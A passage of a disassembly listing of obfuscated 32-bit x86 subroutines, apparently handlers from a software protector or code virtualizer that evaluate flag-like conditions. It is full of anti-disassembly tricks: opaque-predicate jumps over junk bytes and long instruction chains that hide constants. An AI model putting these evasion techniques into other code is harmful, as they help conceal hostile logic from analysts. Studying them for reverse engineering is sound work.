; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49BD56 proc near ; DATA XREF: sub_4965D8+D78o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DAC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
jo short loc_49BD7B
jl short loc_49BD79
loc_49BD76: ; CODE XREF: sub_49BD56:loc_49BD79j
; sub_49BD56:loc_49BD7Bj
jmp short loc_49BD7D
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_49BD79: ; CODE XREF: sub_49BD56+1Ej
jz short loc_49BD76
loc_49BD7B: ; CODE XREF: sub_49BD56+1Cj
jmp short loc_49BD76
; ---------------------------------------------------------------------------
loc_49BD7D: ; CODE XREF: sub_49BD56:loc_49BD76j
push ebx
mov ebx, [ebp+arg_4]
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 4
dec ch
sub ch, 3
dec ch
and ah, ch
mov cl, 70h
sub cl, 2
dec cl
dec cl
dec cl
sub cl, 6
not al
bswap ecx
not al
and eax, 0
bswap ecx
dec cl
dec cl
sub cl, 12h
add cl, 0Bh
dec cl
dec cl
jo short loc_49BDD1
jl short loc_49BDCF
loc_49BDCC: ; CODE XREF: sub_49BD56:loc_49BDCFj
; sub_49BD56:loc_49BDD1j
jmp short loc_49BDD3
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_49BDCF: ; CODE XREF: sub_49BD56+74j
jz short loc_49BDCC
loc_49BDD1: ; CODE XREF: sub_49BD56+72j
jmp short loc_49BDCC
; ---------------------------------------------------------------------------
loc_49BDD3: ; CODE XREF: sub_49BD56:loc_49BDCCj
dec cl
dec cl
dec cl
dec cl
sub cl, 40h
sub cl, 1
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
inc eax
dec cl
not ecx
bswap eax
not ecx
bswap eax
inc cl
add cl, 2
pop ecx
pop ebx
mov [ebp+var_C], eax
mov ecx, dword_4ED3DC
xor ecx, dword_4ED3E0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49BE24
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49BE24: ; CODE XREF: sub_49BD56+C3j
mov eax, [ebp+var_8]
push eax
call off_4F1D34
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49BD56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49BE38 proc near ; DATA XREF: sub_4965D8+1020o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DBC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 2
pop ebx
dec bl
dec bl
and al, bl
mov dh, 0Eh
and dl, 0
sub dh, 4
dec dh
sub dh, 1
and ah, dh
pop ebx
pop edx
test eax, eax
jz short loc_49BE83
not eax
add eax, 1
stc
jmp short loc_49BE89
; ---------------------------------------------------------------------------
loc_49BE83: ; CODE XREF: sub_49BE38+41j
not eax
add eax, 1
clc
loc_49BE89: ; CODE XREF: sub_49BE38+49j
sbb eax, eax
inc eax
dec eax
jo short loc_49BE98
jl short loc_49BE96
loc_49BE91: ; CODE XREF: sub_49BE38:loc_49BE96j
; sub_49BE38:loc_49BE98j
jmp short loc_49BE9A
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49BE96: ; CODE XREF: sub_49BE38+57j
jz short loc_49BE91
loc_49BE98: ; CODE XREF: sub_49BE38+55j
jmp short loc_49BE91
; ---------------------------------------------------------------------------
loc_49BE9A: ; CODE XREF: sub_49BE38:loc_49BE91j
inc eax
dec eax
jo short loc_49BEA7
jl short loc_49BEA5
loc_49BEA0: ; CODE XREF: sub_49BE38:loc_49BEA5j
; sub_49BE38:loc_49BEA7j
jmp short loc_49BEA9
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49BEA5: ; CODE XREF: sub_49BE38+66j
jz short loc_49BEA0
loc_49BEA7: ; CODE XREF: sub_49BE38+64j
jmp short loc_49BEA0
; ---------------------------------------------------------------------------
loc_49BEA9: ; CODE XREF: sub_49BE38:loc_49BEA0j
inc eax
dec eax
inc eax
dec eax
jo short loc_49BEB8
jl short loc_49BEB6
loc_49BEB1: ; CODE XREF: sub_49BE38:loc_49BEB6j
; sub_49BE38:loc_49BEB8j
jmp short loc_49BEBA
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49BEB6: ; CODE XREF: sub_49BE38+77j
jz short loc_49BEB1
loc_49BEB8: ; CODE XREF: sub_49BE38+75j
jmp short loc_49BEB1
; ---------------------------------------------------------------------------
loc_49BEBA: ; CODE XREF: sub_49BE38:loc_49BEB1j
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3EC
xor ecx, dword_4ED3F0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49BEDE
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49BEDE: ; CODE XREF: sub_49BE38+9Bj
mov eax, [ebp+var_8]
push eax
call off_4F1D44
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49BE38 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49BEF2 proc near ; DATA XREF: sub_4965D8+938o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DC8
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
jo short loc_49BF17
jl short loc_49BF15
loc_49BF12: ; CODE XREF: sub_49BEF2:loc_49BF15j
; sub_49BEF2:loc_49BF17j
jmp short loc_49BF19
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_49BF15: ; CODE XREF: sub_49BEF2+1Ej
jz short loc_49BF12
loc_49BF17: ; CODE XREF: sub_49BEF2+1Cj
jmp short loc_49BF12
; ---------------------------------------------------------------------------
loc_49BF19: ; CODE XREF: sub_49BEF2:loc_49BF12j
push ebx
mov ebx, [ebp+arg_4]
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 4
dec ch
sub ch, 3
dec ch
and ah, ch
mov cl, 70h
sub cl, 2
dec cl
dec cl
dec cl
sub cl, 6
not al
bswap ecx
not al
bswap ecx
dec cl
dec cl
sub cl, 10h
dec cl
dec cl
add cl, 0Ch
dec cl
dec cl
dec cl
jo short loc_49BF70
jl short loc_49BF6E
loc_49BF6B: ; CODE XREF: sub_49BEF2:loc_49BF6Ej
; sub_49BEF2:loc_49BF70j
jmp short loc_49BF72
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_49BF6E: ; CODE XREF: sub_49BEF2+77j
jz short loc_49BF6B
loc_49BF70: ; CODE XREF: sub_49BEF2+75j
jmp short loc_49BF6B
; ---------------------------------------------------------------------------
loc_49BF72: ; CODE XREF: sub_49BEF2:loc_49BF6Bj
dec cl
dec cl
dec cl
dec cl
sub cl, 13h
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
inc cl
add cl, 2
and al, cl
mov eax, eax
pop ecx
pop ebx
test eax, eax
jnz loc_49C09B
mov eax, [ebp+var_4]
jo short loc_49BFB0
jl short loc_49BFAE
loc_49BFAB: ; CODE XREF: sub_49BEF2:loc_49BFAEj
; sub_49BEF2:loc_49BFB0j
jmp short loc_49BFB2
; ---------------------------------------------------------------------------
db 8Bh
; ---------------------------------------------------------------------------
loc_49BFAE: ; CODE XREF: sub_49BEF2+B7j
jz short loc_49BFAB
loc_49BFB0: ; CODE XREF: sub_49BEF2+B5j
jmp short loc_49BFAB
; ---------------------------------------------------------------------------
loc_49BFB2: ; CODE XREF: sub_49BEF2:loc_49BFABj
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
and bh, 0
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
jo short loc_49BFD6
jl short loc_49BFD4
loc_49BFD1: ; CODE XREF: sub_49BEF2:loc_49BFD4j
; sub_49BEF2:loc_49BFD6j
jmp short loc_49BFD8
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_49BFD4: ; CODE XREF: sub_49BEF2+DDj
jz short loc_49BFD1
loc_49BFD6: ; CODE XREF: sub_49BEF2+DBj
jmp short loc_49BFD1
; ---------------------------------------------------------------------------
loc_49BFD8: ; CODE XREF: sub_49BEF2:loc_49BFD1j
mov bl, 0C6h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 1Ah
dec bl
sub bl, 1Fh
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov ecx, eax
push ecx
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 1Fh
pop ebx
jo short loc_49C025
jl short loc_49C023
loc_49C01E: ; CODE XREF: sub_49BEF2:loc_49C023j
; sub_49BEF2:loc_49C025j
jmp short loc_49C027
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49C023: ; CODE XREF: sub_49BEF2+12Aj
jz short loc_49C01E
loc_49C025: ; CODE XREF: sub_49BEF2+128j
jmp short loc_49C01E
; ---------------------------------------------------------------------------
loc_49C027: ; CODE XREF: sub_49BEF2:loc_49C01Ej
sub bl, 6
push eax
dec bl
dec bl
jo short loc_49C038
jl short loc_49C036
loc_49C033: ; CODE XREF: sub_49BEF2:loc_49C036j
; sub_49BEF2:loc_49C038j
jmp short loc_49C03A
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_49C036: ; CODE XREF: sub_49BEF2+13Fj
jz short loc_49C033
loc_49C038: ; CODE XREF: sub_49BEF2+13Dj
jmp short loc_49C033
; ---------------------------------------------------------------------------
loc_49C03A: ; CODE XREF: sub_49BEF2:loc_49C033j
and eax, 40h
dec bl
sub bl, 12h
sub bl, 3
pop eax
dec bl
and al, bl
mov edx, 1200h
dec dh
sub dh, 1
dec dh
sub dh, 7
and ah, dh
pop ebx
pop edx
neg eax
sbb eax, eax
inc eax
dec eax
jo short loc_49C06E
jl short loc_49C06C
loc_49C067: ; CODE XREF: sub_49BEF2:loc_49C06Cj
; sub_49BEF2:loc_49C06Ej
jmp short loc_49C070
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49C06C: ; CODE XREF: sub_49BEF2+173j
jz short loc_49C067
loc_49C06E: ; CODE XREF: sub_49BEF2+171j
jmp short loc_49C067
; ---------------------------------------------------------------------------
loc_49C070: ; CODE XREF: sub_49BEF2:loc_49C067j
inc eax
dec eax
jo short loc_49C07D
jl short loc_49C07B
loc_49C076: ; CODE XREF: sub_49BEF2:loc_49C07Bj
; sub_49BEF2:loc_49C07Dj
jmp short loc_49C07F
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49C07B: ; CODE XREF: sub_49BEF2+182j
jz short loc_49C076
loc_49C07D: ; CODE XREF: sub_49BEF2+180j
jmp short loc_49C076
; ---------------------------------------------------------------------------
loc_49C07F: ; CODE XREF: sub_49BEF2:loc_49C076j
inc eax
dec eax
inc eax
dec eax
jo short loc_49C08E
jl short loc_49C08C
loc_49C087: ; CODE XREF: sub_49BEF2:loc_49C08Cj
; sub_49BEF2:loc_49C08Ej
jmp short loc_49C090
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49C08C: ; CODE XREF: sub_49BEF2+193j
jz short loc_49C087
loc_49C08E: ; CODE XREF: sub_49BEF2+191j
jmp short loc_49C087
; ---------------------------------------------------------------------------
loc_49C090: ; CODE XREF: sub_49BEF2:loc_49C087j
inc eax
pop ecx
cmp ecx, eax
jnz short loc_49C09B
and eax, 0
jmp short loc_49C09F
; ---------------------------------------------------------------------------
loc_49C09B: ; CODE XREF: sub_49BEF2+ACj
; sub_49BEF2+1A2j
and eax, 0
inc eax
loc_49C09F: ; CODE XREF: sub_49BEF2+1A7j
mov [ebp+var_C], eax
mov ecx, dword_4ED3F8
xor ecx, dword_4ED3FC
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49C0C2
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49C0C2: ; CODE XREF: sub_49BEF2+1C5j
mov eax, [ebp+var_8]
push eax
call off_4F1D50
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49BEF2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49C0D6 proc near ; DATA XREF: sub_4965D8+690o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DB0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, [ebp+arg_4]
mov edx, 0FFFFh
and eax, edx
push ebx
push 410h
pop ebx
dec bh
dec bh
sub bh, 0FFh
sub bh, 2
dec bh
and ah, bh
mov bl, 0Dh
sub bl, 4
sub bl, 1
sub bl, 1
sub bl, 1
sub bl, 1
sub bl, 1
and al, bl
pop ebx
pop edx
test eax, eax
jz short loc_49C136
not eax
add eax, 1
stc
jmp short loc_49C13C
; ---------------------------------------------------------------------------
loc_49C136: ; CODE XREF: sub_49C0D6+56j
not eax
add eax, 1
clc
loc_49C13C: ; CODE XREF: sub_49C0D6+5Ej
sbb eax, eax
neg eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3E0
xor ecx, dword_4ED3E4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49C163
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49C163: ; CODE XREF: sub_49C0D6+82j
mov eax, [ebp+var_8]
push eax
call off_4F1D38
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49C0D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49C177 proc near ; DATA XREF: sub_4965D8+BF7o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D8C
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 4
dec ch
sub ch, 3
dec ch
and ah, ch
mov cl, 72h
sub cl, 2
dec cl
dec cl
dec cl
sub cl, 6
not al
bswap ecx
not al
bswap ecx
dec cl
dec cl
sub cl, 10h
dec cl
dec cl
add cl, 0Ch
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
sub cl, 10h
sub cl, 1
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
inc cl
add cl, 2
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
neg eax
pop ebx
mov [ebp+var_C], eax
mov ecx, dword_4ED3BC
xor ecx, dword_4ED3C0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49C23A
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49C23A: ; CODE XREF: sub_49C177+B8j
mov eax, [ebp+var_8]
push eax
call off_4F1D14
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49C177 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49C24E proc near ; DATA XREF: sub_4965D8+1119o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DD0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ecx
mov ecx, 800h
mov ecx, 0Dh
not ecx
bswap eax
not ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
dec ecx
inc ecx
inc cl
inc cl
inc cl
add ecx, 0Dh
inc cl
inc cl
inc cl
inc cl
inc cl
add ecx, 0Ah
dec ecx
push edx
mov edx, 4
add ecx, edx
inc ecx
pop edx
bswap eax
and eax, ecx
pop ecx
neg eax
sbb eax, eax
inc eax
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED400
xor ecx, dword_4ED404
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49C2DD
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49C2DD: ; CODE XREF: sub_49C24E+84j
mov eax, [ebp+var_8]
push eax
call off_4F1D58
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49C24E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49C2F1 proc near ; DATA XREF: sub_4965D8+1543o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DBC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 0Ch
pop ebx
dec bl
dec bl
dec bl
dec bl
dec bl
add bl, 0FFh
add bl, 0FFh
dec bl
jo short loc_49C336
jl short loc_49C334
loc_49C32F: ; CODE XREF: sub_49C2F1:loc_49C334j
; sub_49C2F1:loc_49C336j
jmp short loc_49C338
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49C334: ; CODE XREF: sub_49C2F1+3Cj
jz short loc_49C32F
loc_49C336: ; CODE XREF: sub_49C2F1+3Aj
jmp short loc_49C32F
; ---------------------------------------------------------------------------
loc_49C338: ; CODE XREF: sub_49C2F1:loc_49C32Fj
add bl, 0FFh
add bl, 0FFh
add bl, 0FFh
add bl, 0FFh
and al, bl
jo short loc_49C34F
jl short loc_49C34D
loc_49C34A: ; CODE XREF: sub_49C2F1:loc_49C34Dj
; sub_49C2F1:loc_49C34Fj
jmp short loc_49C351
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_49C34D: ; CODE XREF: sub_49C2F1+57j
jz short loc_49C34A
loc_49C34F: ; CODE XREF: sub_49C2F1+55j
jmp short loc_49C34A
; ---------------------------------------------------------------------------
loc_49C351: ; CODE XREF: sub_49C2F1:loc_49C34Aj
mov dh, 15h
and dl, 0
dec dh
sub dh, 9
sub dh, 1
dec dh
dec dh
and ah, dh
pop ebx
pop edx
test eax, eax
jz short loc_49C372
not eax
add eax, 1
stc
jmp short loc_49C378
; ---------------------------------------------------------------------------
loc_49C372: ; CODE XREF: sub_49C2F1+77j
not eax
add eax, 1
clc
loc_49C378: ; CODE XREF: sub_49C2F1+7Fj
sbb eax, eax
inc eax
dec eax
jo short loc_49C387
jl short loc_49C385
loc_49C380: ; CODE XREF: sub_49C2F1:loc_49C385j
; sub_49C2F1:loc_49C387j
jmp short loc_49C389
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49C385: ; CODE XREF: sub_49C2F1+8Dj
jz short loc_49C380
loc_49C387: ; CODE XREF: sub_49C2F1+8Bj
jmp short loc_49C380
; ---------------------------------------------------------------------------
loc_49C389: ; CODE XREF: sub_49C2F1:loc_49C380j
inc eax
dec eax
jo short loc_49C396
jl short loc_49C394
loc_49C38F: ; CODE XREF: sub_49C2F1:loc_49C394j
; sub_49C2F1:loc_49C396j
jmp short loc_49C398
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49C394: ; CODE XREF: sub_49C2F1+9Cj
jz short loc_49C38F
loc_49C396: ; CODE XREF: sub_49C2F1+9Aj
jmp short loc_49C38F
; ---------------------------------------------------------------------------
loc_49C398: ; CODE XREF: sub_49C2F1:loc_49C38Fj
inc eax
dec eax
inc eax
dec eax
jo short loc_49C3A7
jl short loc_49C3A5
loc_49C3A0: ; CODE XREF: sub_49C2F1:loc_49C3A5j
; sub_49C2F1:loc_49C3A7j
jmp short loc_49C3A9
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49C3A5: ; CODE XREF: sub_49C2F1+ADj
jz short loc_49C3A0
loc_49C3A7: ; CODE XREF: sub_49C2F1+ABj
jmp short loc_49C3A0
; ---------------------------------------------------------------------------
loc_49C3A9: ; CODE XREF: sub_49C2F1:loc_49C3A0j
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3EC
xor ecx, dword_4ED3F0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49C3CD
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49C3CD: ; CODE XREF: sub_49C2F1+D1j
mov eax, [ebp+var_8]
push eax
call off_4F1D44
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49C2F1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49C3E1 proc near ; DATA XREF: sub_4965D8+1064o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DC0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
jo short loc_49C406
jl short loc_49C404
loc_49C401: ; CODE XREF: sub_49C3E1:loc_49C404j
; sub_49C3E1:loc_49C406j
jmp short loc_49C408
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_49C404: ; CODE XREF: sub_49C3E1+1Ej
jz short loc_49C401
loc_49C406: ; CODE XREF: sub_49C3E1+1Cj
jmp short loc_49C401
; ---------------------------------------------------------------------------
loc_49C408: ; CODE XREF: sub_49C3E1:loc_49C401j
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 4
dec ch
sub ch, 3
dec ch
and ah, ch
mov cl, 70h
sub cl, 2
dec cl
dec cl
dec cl
sub cl, 6
not al
bswap ecx
not al
bswap ecx
dec cl
dec cl
sub cl, 10h
dec cl
dec cl
add cl, 0Ch
dec cl
dec cl
dec cl
jo short loc_49C45C
jl short loc_49C45A
loc_49C457: ; CODE XREF: sub_49C3E1:loc_49C45Aj
; sub_49C3E1:loc_49C45Cj
jmp short loc_49C45E
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_49C45A: ; CODE XREF: sub_49C3E1+74j
jz short loc_49C457
loc_49C45C: ; CODE XREF: sub_49C3E1+72j
jmp short loc_49C457
; ---------------------------------------------------------------------------
loc_49C45E: ; CODE XREF: sub_49C3E1:loc_49C457j
dec cl
dec cl
dec cl
dec cl
sub cl, 10h
sub cl, 1
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
inc cl
add cl, 2
and al, cl
mov eax, eax
pop ecx
pop ebx
test eax, eax
jnz loc_49C59A
mov eax, [ebp+var_4]
jo short loc_49C4A3
jl short loc_49C4A1
loc_49C49E: ; CODE XREF: sub_49C3E1:loc_49C4A1j
; sub_49C3E1:loc_49C4A3j
jmp short loc_49C4A5
; ---------------------------------------------------------------------------
db 8Bh
; ---------------------------------------------------------------------------
loc_49C4A1: ; CODE XREF: sub_49C3E1+BBj
jz short loc_49C49E
loc_49C4A3: ; CODE XREF: sub_49C3E1+B9j
jmp short loc_49C49E
; ---------------------------------------------------------------------------
loc_49C4A5: ; CODE XREF: sub_49C3E1:loc_49C49Ej
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
jo short loc_49C4D4
jl short loc_49C4D2
loc_49C4CF: ; CODE XREF: sub_49C3E1:loc_49C4D2j
; sub_49C3E1:loc_49C4D4j
jmp short loc_49C4D6
; ---------------------------------------------------------------------------
db 0D5h
; ---------------------------------------------------------------------------
loc_49C4D2: ; CODE XREF: sub_49C3E1+ECj
jz short loc_49C4CF
loc_49C4D4: ; CODE XREF: sub_49C3E1+EAj
jmp short loc_49C4CF
; ---------------------------------------------------------------------------
loc_49C4D6: ; CODE XREF: sub_49C3E1:loc_49C4CFj
mov bl, 0C0h
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 1Ah
dec bl
sub bl, 1Fh
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov ecx, eax
push ecx
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 1Fh
pop ebx
jo short loc_49C51E
jl short loc_49C51C
loc_49C517: ; CODE XREF: sub_49C3E1:loc_49C51Cj
; sub_49C3E1:loc_49C51Ej
jmp short loc_49C520
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49C51C: ; CODE XREF: sub_49C3E1+134j
jz short loc_49C517
loc_49C51E: ; CODE XREF: sub_49C3E1+132j
jmp short loc_49C517
; ---------------------------------------------------------------------------
loc_49C520: ; CODE XREF: sub_49C3E1:loc_49C517j
sub bl, 5
dec bl
push eax
dec bl
dec bl
jo short loc_49C533
jl short loc_49C531
loc_49C52E: ; CODE XREF: sub_49C3E1:loc_49C531j
; sub_49C3E1:loc_49C533j
jmp short loc_49C535
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_49C531: ; CODE XREF: sub_49C3E1+14Bj
jz short loc_49C52E
loc_49C533: ; CODE XREF: sub_49C3E1+149j
jmp short loc_49C52E
; ---------------------------------------------------------------------------
loc_49C535: ; CODE XREF: sub_49C3E1:loc_49C52Ej
and eax, 41h
dec bl
sub bl, 12h
and eax, 800h
sub bl, 3
pop eax
dec bl
and al, bl
mov edx, 1200h
dec dh
sub dh, 1
dec dh
sub dh, 7
and ah, dh
pop ebx
pop edx
neg eax
sbb eax, eax
inc eax
dec eax
jo short loc_49C56E
jl short loc_49C56C
loc_49C567: ; CODE XREF: sub_49C3E1:loc_49C56Cj
; sub_49C3E1:loc_49C56Ej
jmp short loc_49C570
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49C56C: ; CODE XREF: sub_49C3E1+184j
jz short loc_49C567
loc_49C56E: ; CODE XREF: sub_49C3E1+182j
jmp short loc_49C567
; ---------------------------------------------------------------------------
loc_49C570: ; CODE XREF: sub_49C3E1:loc_49C567j
inc eax
dec eax
jo short loc_49C57D
jl short loc_49C57B
loc_49C576: ; CODE XREF: sub_49C3E1:loc_49C57Bj
; sub_49C3E1:loc_49C57Dj
jmp short loc_49C57F
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49C57B: ; CODE XREF: sub_49C3E1+193j
jz short loc_49C576
loc_49C57D: ; CODE XREF: sub_49C3E1+191j
jmp short loc_49C576
; ---------------------------------------------------------------------------
loc_49C57F: ; CODE XREF: sub_49C3E1:loc_49C576j
inc eax
dec eax
inc eax
dec eax
jo short loc_49C58C
jl short loc_49C58A
loc_49C587: ; CODE XREF: sub_49C3E1:loc_49C58Aj
; sub_49C3E1:loc_49C58Cj
jmp short loc_49C58E
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_49C58A: ; CODE XREF: sub_49C3E1+1A4j
jz short loc_49C587
loc_49C58C: ; CODE XREF: sub_49C3E1+1A2j
jmp short loc_49C587
; ---------------------------------------------------------------------------
loc_49C58E: ; CODE XREF: sub_49C3E1:loc_49C587j
inc eax
pop ecx
cmp ecx, eax
jnz short loc_49C59A
and eax, 0
inc eax
jmp short loc_49C59D
; ---------------------------------------------------------------------------
loc_49C59A: ; CODE XREF: sub_49C3E1+B0j
; sub_49C3E1+1B1j
and eax, 0
loc_49C59D: ; CODE XREF: sub_49C3E1+1B7j
mov [ebp+var_C], eax
mov ecx, dword_4ED3F0
xor ecx, dword_4ED3F4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49C5C0
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
